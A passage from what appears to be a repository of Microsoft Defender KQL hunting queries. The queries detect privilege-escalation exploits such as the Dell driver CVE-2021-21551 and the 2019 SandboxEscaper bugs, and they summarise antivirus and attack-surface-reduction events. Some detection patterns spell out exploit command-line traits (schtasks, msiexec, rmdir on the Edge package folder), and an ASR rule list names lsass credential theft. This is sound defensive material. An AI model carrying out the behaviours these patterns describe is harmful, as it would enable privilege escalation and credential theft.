| v |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Backdoor associated with privilege escalation vulnerability, CVE-2019-0808](cve-2019-0808-nufsys-file-creation.md)\n* [Command and control associated with privilege escalation vulnerability, CVE-2019-0808](cve-2019-0808-c2.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/dell-driver-vulnerability-2021.md",
    "content": "# Find vulnerable Dell driver, dbutil_2_3.sys\n\nThis query was originally published in the threat analytics report, *Multiple EOP flaws in Dell driver (CVE-2021-21551)*.\n\n[CVE-2021-21551](https://nvd.nist.gov/vuln/detail/CVE-2021-21551) is a vulnerability found in dbutil_2_3.sys, a driver distributed with Dell firmware updates and tools. Attackers can exploit this vulnerability to escalate privileges on a compromised device. The following query can detect if the affected driver has been added to a device's \\temp folders.\n\n## Query\n\n```kusto\nDeviceFileEvents \n| where SHA256 in (\"0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5\",\"ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1\",\"552c297d6d7992f8b95287ac6e16f2169b6e629cb6ae0ee42036f093c36142d4\",\"4c727e430fb72f6942768cd1662b4aefda32f10bde43c7232da6713bb5c98bc0\",\"87e38e7aeaaaa96efe1a74f59fca8371de93544b7af22862eb0e574cec49c7c3\")\n| where FolderPath has_any (@\"C:\\Windows\\Temp\\\",@\"C:\\Temp\\\")\n\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/detect-cve-2019-0863-AngryPolarBearBug2-exploit.md",
    "content": "# Detect CVE-2019-0863 (AngryPolarBearBug2) exploit\n\nThis query was originally published in the threat analytics report, **May 2019 0-day disclosures**.\n\nIn May and June of 2019, a security researcher with the online alias, SandboxEscaper, [discovered and published](https://threatpost.com/sandboxescaper-more-exploits-ie-zero-day/145010/) several elevation-of-privilege vulnerabilities on Github. The researcher included proofs-of-concept demonstrating how to exploit these vulnerabilities.\n\nPatches and more information about each vulnerability are available below:\n\n1. [CVE-2019-0863 | Windows Error Reporting Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0863)\n1. [CVE-2019-1069 | Task Scheduler Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1069)\n1. [CVE-2019-1053 | Windows Shell Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1053)\n1. [CVE-2019-1064 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1064)\n1. [CVE-2019-0973 | Windows Installer Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0973)\n1. [CVE-2019-1129 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1129)\n\nThis query locates possible activity that exploits CVE-2019-0863 (also known as AngryPolarBearBug2), the first vulnerability listed above.\n\n## Query\n\n```Kusto\n//Find possible CVE-2019-0863 exploitation\nDeviceProcessEvents \n| where FileName =~ \"schtasks.exe\"\n| where ProcessCommandLine contains \"Windows Error Reporting\"\nand ProcessCommandLine contains \"/run\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/detect-cve-2019-0973-installerbypass-exploit.md",
    "content": "# Detect CVE-2019-0973 (InstallerBypass) exploit\n\nThis query was originally published in the threat analytics report, **May 2019 0-day disclosures**.\n\nIn May and June of 2019, a security researcher with the online alias, SandboxEscaper, [discovered and published](https://threatpost.com/sandboxescaper-more-exploits-ie-zero-day/145010/) several elevation-of-privilege vulnerabilities on Github. The researcher included proofs-of-concept demonstrating how to exploit these vulnerabilities.\n\nPatches and more information about each vulnerability are available below:\n\n1. [CVE-2019-0863 | Windows Error Reporting Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0863)\n1. [CVE-2019-1069 | Task Scheduler Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1069)\n1. [CVE-2019-1053 | Windows Shell Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1053)\n1. [CVE-2019-1064 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1064)\n1. [CVE-2019-0973 | Windows Installer Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0973)\n1. [CVE-2019-1129 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1129)\n\nThis query locates possible activity that exploits CVE-2019-0973 (also known as InstallerBypass), the fifth vulnerability listed above.\n\n## Query\n\n```Kusto\n//Find possible use of InstallerBypass (Windows Installer Service exploit)\nDeviceProcessEvents \n| where FileName =~ \"msiexec.exe\"\n| where ProcessCommandLine contains \"/fa\" \nand ProcessCommandLine contains \":\\\\windows\\\\installer\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/detect-cve-2019-1053-sandboxescape-exploit.md",
    "content": "# Detect CVE-2019-1053 (SandboxEscape) exploit\n\nThis query was originally published in the threat analytics report, **May 2019 0-day disclosures**.\n\nIn May and June of 2019, a security researcher with the online alias, SandboxEscaper, [discovered and published](https://threatpost.com/sandboxescaper-more-exploits-ie-zero-day/145010/) several elevation-of-privilege vulnerabilities on Github. The researcher included proofs-of-concept demonstrating how to exploit these vulnerabilities.\n\nPatches and more information about each vulnerability are available below:\n\n1. [CVE-2019-0863 | Windows Error Reporting Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0863)\n1. [CVE-2019-1069 | Task Scheduler Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1069)\n1. [CVE-2019-1053 | Windows Shell Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1053)\n1. [CVE-2019-1064 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1064)\n1. [CVE-2019-0973 | Windows Installer Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0973)\n1. [CVE-2019-1129 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1129)\n\nThis query locates possible activity that exploits CVE-2019-1053 (also known as SandboxEscape), the third vulnerability listed above.\n\n## Query\n\n```Kusto\n//Find possible use of SandboxEscape (Internet Explorer 11 exploit)\nDeviceFileEvents \n| where FolderPath contains @\".{0afaced1-e828-11d1-9187-b532f1e9575d}\\\"\nand FileName endswith \".lnk\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/detect-cve-2019-1069-bearlpe-exploit.md",
    "content": "# Detect CVE-2019-1069 (BearLPE) exploit\n\nThis query was originally published in the threat analytics report, **May 2019 0-day disclosures**.\n\nIn May and June of 2019, a security researcher with the online alias, SandboxEscaper, [discovered and published](https://threatpost.com/sandboxescaper-more-exploits-ie-zero-day/145010/) several elevation-of-privilege vulnerabilities on Github. The researcher included proofs-of-concept demonstrating how to exploit these vulnerabilities.\n\nPatches and more information about each vulnerability are available below:\n\n1. [CVE-2019-0863 | Windows Error Reporting Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0863)\n1. [CVE-2019-1069 | Task Scheduler Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1069)\n1. [CVE-2019-1053 | Windows Shell Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1053)\n1. [CVE-2019-1064 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1064)\n1. [CVE-2019-0973 | Windows Installer Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0973)\n1. [CVE-2019-1129 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1129)\n\nThis query locates possible activity that exploits CVE-2019-1069 (also known as BearLPE), the second vulnerability listed above.\n\n## Query\n\n```Kusto\n//Find possible use of BearLPE (Task Scheduler exploit)\nDeviceFileEvents\n| where FileName =~ \"schtasks.exe\"\n| where InitiatingProcessCommandLine contains \"/change\"\nand InitiatingProcessCommandLine contains \" /TN \"\nand InitiatingProcessCommandLine contains \" /RU \"\nand InitiatingProcessCommandLine contains \" /RP \"\nand InitiatingProcessCommandLine !contains \" /S \"\nand InitiatingProcessCommandLine !contains \" /ST \"\nand InitiatingProcessCommandLine !contains \" /SD \"\nand InitiatingProcessIntegrityLevel !in (\"\", \"High\", \"System\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/detect-cve-2019-1129-byebear-exploit.md",
    "content": "# Detect CVE-2019-1129 (ByeBear) exploit\n\nThis query was originally published in the threat analytics report, **May 2019 0-day disclosures**.\n\nIn May and June of 2019, a security researcher with the online alias, SandboxEscaper, [discovered and published](https://threatpost.com/sandboxescaper-more-exploits-ie-zero-day/145010/) several elevation-of-privilege vulnerabilities on Github. The researcher included proofs-of-concept demonstrating how to exploit these vulnerabilities.\n\nPatches and more information about each vulnerability are available below:\n\n1. [CVE-2019-0863 | Windows Error Reporting Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0863)\n1. [CVE-2019-1069 | Task Scheduler Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1069)\n1. [CVE-2019-1053 | Windows Shell Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1053)\n1. [CVE-2019-1064 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1064)\n1. [CVE-2019-0973 | Windows Installer Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0973)\n1. [CVE-2019-1129 | Windows Elevation of Privilege Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1129)\n\nThis query locates possible activity that exploits CVE-2019-1129 (also known as ByeBear or CVE-2019-0841-Bypass 2), the sixth vulnerability listed above.\n\n## Query\n\n```Kusto\n//Find possible use of ByeBear (CVE-2019-1129)\nDeviceProcessEvents \n| where ProcessCommandLine contains\n@\"packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\"\nand ProcessCommandLine contains\"/S /Q\"\nand (ProcessCommandLine contains \"rmdir\" or ProcessCommandLine contains \"del\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/locate-ALPC-local-privilege-elevation-exploit.md",
    "content": "# Locate ALPC local privilege elevation exploit activity\n\nThis query was originally published in the threat analytics report, *ALPC local privilege elevation*.\n\nWindows ALPC Elevation of Privilege Vulnerability, [CVE-2018-8440](https://nvd.nist.gov/vuln/detail/CVE-2018-8440), could be exploited to run arbitrary code or to gain access to protected directories and areas of the operating system.\n\nThis vulnerability was patched in the [September 2018 Security Update](https://support.microsoft.com/en-us/help/4457143/windows-81-update-kb4457143).\n\nThe following query checks for potential activity related to this vulnerability over the past 7 days. If you wish to check another time period, update the EventTime value.\n\n## Query\n\n```\nDeviceFileEvents \n| where Timestamp > ago(7d)\nand FileName =~ \"printconfig.dll\"\nand InitiatingProcessIntegrityLevel != \"System\"\nand InitiatingProcessIntegrityLevel != \"High\"\nand FolderPath contains @\":\\Windows\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Protection events/AV Detections with Source.txt",
    "content": "//This query shows the source of the AV detections (e.g., the website the file was downloaded from etc.)\r\n//\r\n//Get the list of AV detections\r\nlet avDetections =\r\nDeviceEvents\r\n| where ActionType == \"AntivirusDetection\" and isnotempty(MD5)\r\n| extend ParsedFields=parse_json(AdditionalFields)\r\n| project Timestamp, DeviceName, ThreatName=tostring(ParsedFields.ThreatName), FileName, FolderPath, MD5;\r\n//Get a list of file creations\r\nlet fileCreations =\r\nDeviceFileEvents \r\n| where (isnotempty(FileOriginReferrerUrl) or isnotempty(FileOriginUrl)) and isnotempty(MD5)\r\n| project MD5, FileOriginUrl, FileOriginReferrerUrl, InitiatingProcessFileName, InitiatingProcessParentFileName;\r\n//Join the file creations and AV detections on the MD5 of the file\r\navDetections | join kind=inner (fileCreations) on MD5\r\n| project-away MD51 //Remove the duplicated MD5 field\r\n| sort by Timestamp desc \r\n"
  },
  {
    "path": "Protection events/AV Detections with USB Disk Drive.txt",
    "content": "//This query make a best-guess detection regarding which removable media device caused an AV detection\r\n//The query is best run over 30 days to get the full USB history\r\n//\r\n//Get a list of USB AV detections. This assumes any path not beginning with C is a removable/USB device\r\nlet usbDetections =\r\n    DeviceEvents\r\n    | where ActionType == \"AntivirusDetection\" and FolderPath !startswith \"c\" and FolderPath matches regex \"^[A-Za-z]{1}\"\r\n    | extend ParsedFields=parse_json(AdditionalFields)\r\n    | project DetectionTime=Timestamp, DeviceName, ThreatName=tostring(ParsedFields.ThreatName), FileName, FolderPath;\r\n//Get a list of USB disk drive connections, grouped by computer name and DeviceID\r\nlet usbConnections = \r\n    DeviceEvents\r\n    | where ActionType == \"PnpDeviceConnected\"\r\n    | extend parsed=parse_json(AdditionalFields)\r\n    | project Timestamp, DeviceName, DeviceId=tostring(parsed.DeviceId), ClassName=tostring(parsed.ClassName)\r\n    | where ClassName == \"DiskDrive\"\r\n    | summarize UsbFirstSeen=min(Timestamp), UsbLastSeen=max(Timestamp) by DeviceId, DeviceName;\r\n//Join USB AV detections and connections, where the detection occurs after the USB has been plugged in\r\nusbDetections | join kind=inner (usbConnections) on DeviceName | where DetectionTime > UsbFirstSeen and DetectionTime < UsbLastSeen\r\n| project DetectionTime, DeviceName, ThreatName, FileName, FolderPath, DeviceId, UsbFirstSeen, UsbLastSeen\r\n| sort by DetectionTime desc\r\n"
  },
  {
    "path": "Protection events/Antivirus detections.txt",
    "content": "// Query for Microsoft Defender Antivirus detections.\n\n// Query #1: Query for Antivirus detection events\nDeviceEvents\n| where ActionType == \"AntivirusDetection\"\n| extend ParsedFields=parse_json(AdditionalFields)\n| project ThreatName=tostring(ParsedFields.ThreatName),\n          WasRemediated=tobool(ParsedFields.WasRemediated),\n          WasExecutingWhileDetected=tobool(ParsedFields.WasExecutingWhileDetected),\n          FileName, SHA1, InitiatingProcessFileName, InitiatingProcessCommandLine,\n          DeviceName, Timestamp\n| limit 100\n\n// Query #2:\n//    This query select only machines where more than 1 malware family was detected.\n//    Such behavior is usually indicative that some malware was active on the machine\n// Implementation details:\n//    This query looks for alerts on Windows Defender Antivirus detections.\n//    For most purposes it is probably better to query on the events themselves (see query #1).\n//    However, this query might still be useful sometimes (e.g. to quickly parse the family name).\nAlertInfo | join AlertEvidence on AlertId\n| where Title contains \"Defender AV detected\"\n| parse Title with *\"'\"FamilyName\"'\"*\n| summarize FamilyCount=dcount(FamilyName), Families=makeset(FamilyName), Titles=makeset(Title) by DeviceName, DeviceId, bin(Timestamp, 1d)\n| where FamilyCount > 1\n| limit 100 \n"
  },
  {
    "path": "Protection events/ExploitGuardASRStats.txt",
    "content": "// Get stats on ASR audit events - count events and machines per rule\nDeviceEvents\n| where ActionType startswith \"Asr\" and ActionType endswith \"Audited\"\n// Count total stats - count events and machines per rule\n| summarize EventCount=count(), MachinesCount=dcount(DeviceId) by ActionType\n\n// Get stats on ASR blocks - count events and machines per rule\nDeviceEvents\n| where ActionType startswith \"Asr\" and ActionType endswith \"Blocked\"\n// Count total stats - count events and machines per rule\n| summarize EventCount=count(), MachinesCount=dcount(DeviceId) by ActionType\n\n// View ASR audit events - but remove repeating events (e.g. multiple events with same machine, rule, file and process)\nDeviceEvents\n| where ActionType startswith \"ASR\" and ActionType endswith \"Audited\"\n| summarize Timestamp =max(Timestamp) by DeviceName, ActionType,FileName, FolderPath, InitiatingProcessCommandLine, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessId, SHA1 \n"
  },
  {
    "path": "Protection events/ExploitGuardAsrDescriptions.txt",
    "content": "// Expanding on DeviceEvents output with Attack Surface Reduction (ASR) rule descriptions\n// The ActionType values of the ASR events already explain what rule was matched and if it was audited or blocked.\n// However, it could still be useful to have a more human-friendly description in the results.\n// Also, this query is a good example for how you could define your own lookup tables and join with them.\n// The events in the DeviceEvents table contain a GUID for the various ASR rules rather than a full description of the rule\n// This query will create a table which has the description for each ASR rule as per https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction\n// This table is then joined to the output of a query against the DeviceEvents table and shows a summary count of the events by the newly defined description\n// This query shows the ability to use joins and custom dimension tables\n// See https://docs.loganalytics.io/docs/Language-Reference/Tabular-operators/join-operator for more information on the join syntax\n// For more questions on this query, feel free to ping @FlyingBlueMonki on twitter or mattegen@microsoft.com via email\n//\n// First lets start by creating a table of the rule descriptions to rule guids\nlet AsrDescriptionTable = datatable(RuleDescription:string, RuleGuid:string)\n[\n\"Block executable content from email client and webmail\",\"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550\",\n\"Block Office applications from creating child processes\",\"d4f940ab-401b-4efc-aadc-ad5f3c50688a\",\n\"Block Office applications from creating executable content\",\"3b576869-a4ec-4529-8536-b80a7769e899\",\n\"Block Office applications from injecting code into other processes\",\"75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84\",\n\"Block JavaScript or VBScript from launching downloaded executable content\",\"d3e037e1-3eb8-44c8-a917-57927947596d\",\n\"Block execution of potentially obfuscated scripts\",\"5beb7efe-fd9a-4556-801d-275e5ffc04cc\",\n\"Block Win32 API calls from Office macro\",\"92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b\",\n\"Block executable files from running unless they meet a prevalence, age, or trusted list criteria\",\"01443614-cd74-433a-b99e-2ecdc07bfc25\",\n\"Use advanced protection against ransomware\",\"c1db55ab-c21a-4637-bb3f-a12568109d35\",\n\"Block credential stealing from the Windows local security authority subsystem (lsass.exe)\",\"9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2\",\n\"Block process creations originating from PSExec and WMI commands\",\"d1e49aac-8f56-4280-b9ba-993a6d77406c\",\n\"Block untrusted and unsigned processes that run from USB\",\"b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4\",\n\"Block Office communication applications from creating child processes (available for beta testing)\",\"26190899-1602-49e8-8b27-eb1d0a1ce869\",\n\"Block Adobe Reader from creating child processes\",\"7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c\",\n\"Block persistence through WMI event subscription\",\"e6db77e5-3df2-4cf1-b95a-636979351e5b\",\n];\n// Now we query the DeviceEvents table for events where the ActionType field starts with \"Asr\" - which should cover values such as AsrExecutableEmailContentAudited, AsrExecutableEmailContentBlocked, AsrOfficeChildProcessAudited, ....\nDeviceEvents\n| where ActionType startswith \"Asr\"\n// since the RuleGuid is stored inside the additionlfields column, we need to extract it for the join\n// we extend the results to include a new \"RuleGuid\" column that is populated by the extracted RuleId from the json data in AdditionalFields.  \n// we execute a tolower() on the data to make sure it's consistent as we're going to be matching string values. If we have entries thata are uppercase tolower() makes them all lowercase.  We'll do the same with our AsrDescriptionTable data later in the join statement\n// and finally we also extend the results with the extracted \"IsAudit\" column populated from AdditionalFields.  This allow us to determine if the event was blocked or merely audited\n| extend RuleGuid = tolower(tostring(parsejson(AdditionalFields).RuleId))\n| extend IsAudit = parse_json(AdditionalFields).IsAudit\n| project DeviceName, RuleGuid, DeviceId, IsAudit\n// Now we're making our join back to the earlier defined table of rule descriptions and guids (applying that tolower() statement for consistency) and  finally outputting our summary counts\n// We're projecting both the RuleDescription and the RuleGuid.  If there is a new rule that is *NOT* in our table above, we'll get a row with no description, but including the Guid so we can find it and update the table\n| join kind = leftouter (AsrDescriptionTable | project RuleGuid = tolower(RuleGuid), RuleDescription) on RuleGuid\n| summarize MachinesWithAuditEvents = dcountif(DeviceId,IsAudit==1), MachinesWithBlockEvents = dcountif(DeviceId, IsAudit==0), AllEvents=count() by RuleDescription, RuleGuid\n\n// an alternative summary line is commented out below.  This would show us a count of each rule on each machine rather than a machine / event count\n//| summarize count() by RuleDescription, DeviceName\n"
  },
  {
    "path": "Protection events/ExploitGuardBlockOfficeChildProcess.txt",
    "content": "// These queries check telemetry from the Exploit Guard rule: Rule: Block Office applications from creating child processes\n// (Rule ID d4f940ab-401b-4efc-aadc-ad5f3c50688a)\n// Read more about it here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard\n// Oftentimes organizations enable this rule in audit mode and check the results before setting block mode.\n// You can use query #2 to measure the rule impact on your network in audit mode before turning it to block mode.\n// Query #1 is used after setting it to block mode - to analyze the block stats.\n// Tags: #ASR\n//Query #1: block stats\nDeviceEvents\n| where ActionType == \"AsrOfficeChildProcessBlocked\" and Timestamp > ago(7d)\n| project BlockedProcess=FileName, ParentProcess=InitiatingProcessFileName, DeviceName\n| summarize MachineCount=dcount(DeviceName), RuleHits=count() by BlockedProcess, ParentProcess\n| sort by MachineCount desc\n\n// These queries check telemetry from the Exploit Guard rule: Rule: Block Office applications from creating child processes\n// (Rule ID d4f940ab-401b-4efc-aadc-ad5f3c50688a)\n// Read more about it here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard\n// Oftentimes organizations enable this rule in audit mode and check the results before setting block mode.\n// You can use query #2 to measure the rule impact on your network in audit mode before turning it to block mode.\n// Query #1 is used after setting it to block mode - to analyze the block stats.\n// Tags: #ASR\n// Query #2: investigate audit events - before turning the rule on in block mode\nlet minTime = ago(7d);\n// Enrich the ExploitGuard events with column saying if there was a nearby Microsoft Defender for Endpoint alert or not.\n// If there was an alert, so this is probably malware, and it's good that it will be blocked.\n// If there was no alert, so it requires further analysis to determine if this is a clean file or some malware that was missed.\nlet alerts =\n    AlertInfo \n    | where Timestamp > minTime\n    | join AlertEvidence on AlertId\n    | project DeviceName, DetectedTimestamp=Timestamp\n;\nDeviceEvents\n| where ActionType == \"AsrOfficeChildProcessAudited\" and Timestamp > minTime\n| project BlockedProcess=FileName, ParentProcess=InitiatingProcessFileName, DeviceName, Timestamp\n| join kind=leftouter (alerts) on DeviceName\n| extend HasNearbyAlert = abs(Timestamp - DetectedTimestamp) between (0min .. 5min)\n| summarize MachineCount=dcount(DeviceName),\n            RuleHits=count(),\n            NearbyAlertPercent=countif(HasNearbyAlert)*100.0 / count() \n            by BlockedProcess, ParentProcess\n| sort by MachineCount desc\n\n\n// These queries check telemetry from the Exploit Guard rule: Rule: Block Office applications from creating child processes - MTP Schema\n// (Rule ID d4f940ab-401b-4efc-aadc-ad5f3c50688a)\n// Read more about it here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard\n// Oftentimes organizations enable this rule in audit mode and check the results before setting block mode.\n// You can use query #2 to measure the rule impact on your network in audit mode before turning it to block mode.\n// Query #1 is used after setting it to block mode - to analyze the block stats.\n// Tags: #ASR\n//Query #1: block stats\nDeviceEvents\n| where ActionType == \"AsrOfficeChildProcessBlocked\" and Timestamp > ago(7d)\n| project BlockedProcess=FileName, ParentProcess=InitiatingProcessFileName, DeviceName\n| summarize MachineCount=dcount(DeviceName), RuleHits=count() by BlockedProcess, ParentProcess\n| sort by MachineCount desc\n\n// These queries check telemetry from the Exploit Guard rule: Rule: Block Office applications from creating child processes - MTP Schema\n// (Rule ID d4f940ab-401b-4efc-aadc-ad5f3c50688a)\n// Read more about it here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard\n// Oftentimes organizations enable this rule in audit mode and check the results before setting block mode.\n// You can use query #2 to measure the rule impact on your network in audit mode before turning it to block mode.\n// Query #1 is used after setting it to block mode - to analyze the block stats.\n// Tags: #ASR\n// Query #2: investigate audit events - before turning the rule on in block mode\nlet minTime = ago(7d);\n// Enrich the ExploitGuard events with column saying if there was a nearby Windows Defender ATP alert or not.\n// If there was an alert, so this is probably malware, and it's good that it will be blocked.\n// If there was no alert, so it requires further analysis to determine if this is a clean file or some malware that was missed.\nlet alerts =\n    AlertInfo | join AlertEvidence on AlertId\n    | where Timestamp > minTime\n    | project DeviceName, DetectedTimestamp=Timestamp;\nDeviceEvents\n| where ActionType == \"AsrOfficeChildProcessAudited\" and Timestamp > 